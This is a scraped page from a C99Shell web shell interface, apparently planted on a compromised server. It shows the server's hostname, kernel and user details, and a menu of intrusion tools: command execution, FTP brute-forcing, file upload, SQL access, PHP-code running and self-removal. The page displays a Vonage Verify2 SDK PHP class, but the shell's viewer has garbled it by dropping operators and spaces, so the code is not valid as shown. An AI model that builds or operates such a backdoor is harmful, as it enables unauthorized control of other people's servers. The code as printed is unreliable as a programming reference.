!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/vonage/client-core/src/Verify2/Request/   drwxr-xr-x
Free 28.66 GB of 117.98 GB (24.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BaseVerifyRequest.php (3.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Vonage\Verify2\Request;

use 
Vonage\Verify2\VerifyObjects\VerificationLocale;
use 
Vonage\Verify2\VerifyObjects\VerificationWorkflow;

abstract class 
BaseVerifyRequest implements RequestInterface
{
    private const 
TIMEOUT_MIN 15;
    private const 
TIMEOUT_MAX 900;
    private const 
LENGTH_MIN 4;
    private const 
LENGTH_MAX 10;

    protected ?
VerificationLocale $locale null;

    protected 
int $timeout 300;

    protected ?
bool $fraudCheck null;

    protected ?
string $clientRef null;

    protected 
int $length 4;

    protected 
string $brand;

    protected array 
$workflows = [];

    protected ?
string $code null;

    public function 
getLocale(): ?VerificationLocale
    
{
        return 
$this->locale;
    }

    public function 
setLocale(?VerificationLocale $verificationLocale): static
    {
        
$this->locale $verificationLocale;

        return 
$this;
    }

    public function 
getTimeout(): int
    
{
        return 
$this->timeout;
    }

    public function 
setTimeout(int $timeout): static
    {
        
$range = [
            
'options' => [
                
'min_range' => self::TIMEOUT_MIN,
                
'max_range' => self::TIMEOUT_MAX
                
]
        ];

        if (!
filter_var($timeoutFILTER_VALIDATE_INT$range)) {
            throw new 
\OutOfBoundsException('Timeout ' $timeout ' is not valid');
        }

        
$this->timeout $timeout;

        return 
$this;
    }

    public function 
getCode(): ?string
    
{
        return 
$this->code;
    }

    public function 
setCode(string $code): static
    {
        
$this->code $code;

        return 
$this;
    }

    public function 
getClientRef(): ?string
    
{
        return 
$this->clientRef;
    }

    public function 
setClientRef(?string $clientRef): static
    {
        
$this->clientRef $clientRef;

        return 
$this;
    }

    public function 
getLength(): int
    
{
        return 
$this->length;
    }

    public function 
setLength(int $length): static
    {
        
$range = [
            
'options' => [
                
'min_range' => self::LENGTH_MIN,
                
'max_range' => self::LENGTH_MAX
            
]
        ];

        if (!
filter_var($lengthFILTER_VALIDATE_INT$range)) {
            throw new 
\OutOfBoundsException('PIN Length ' $length ' is not valid');
        }

        
$this->length $length;

        return 
$this;
    }

    public function 
getBrand(): string
    
{
        return 
$this->brand;
    }

    public function 
setBrand(string $brand): static
    {
        
$this->brand $brand;

        return 
$this;
    }

    public function 
getWorkflows(): array
    {
        return 
array_map(static fn ($workflow) => $workflow->toArray(), $this->workflows);
    }

    public function 
addWorkflow(VerificationWorkflow $verificationWorkflow): static
    {
        
$this->workflows[] = $verificationWorkflow;

        return 
$this;
    }

    public function 
getFraudCheck(): ?bool
    
{
        return 
$this->fraudCheck ?? null;
    }

    public function 
setFraudCheck(bool $fraudCheck): BaseVerifyRequest
    
{
        
$this->fraudCheck $fraudCheck;

        return 
$this;
    }

    public function 
getBaseVerifyUniversalOutputArray(): array
    {
        
$returnArray = [
            
'locale' => $this->getLocale()->getCode(),
            
'channel_timeout' => $this->getTimeout(),
            
'code_length' => $this->getLength(),
            
'brand' => $this->getBrand(),
            
'workflow' => $this->getWorkflows()
        ];

        if (
$this->getFraudCheck() === false) {
            
$returnArray['fraud_check'] = $this->getFraudCheck();
        }

        if (
$this->getClientRef()) {
            
$returnArray['client_ref'] = $this->getClientRef();
        }

        if (
$this->getCode()) {
            
$returnArray['code'] = $this->getCode();
        }

        return 
$returnArray;
    }

    public static function 
isBrandValid(string $brand): bool
    
{
        if (!
strlen($brand) < 16) {
            return 
true;
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--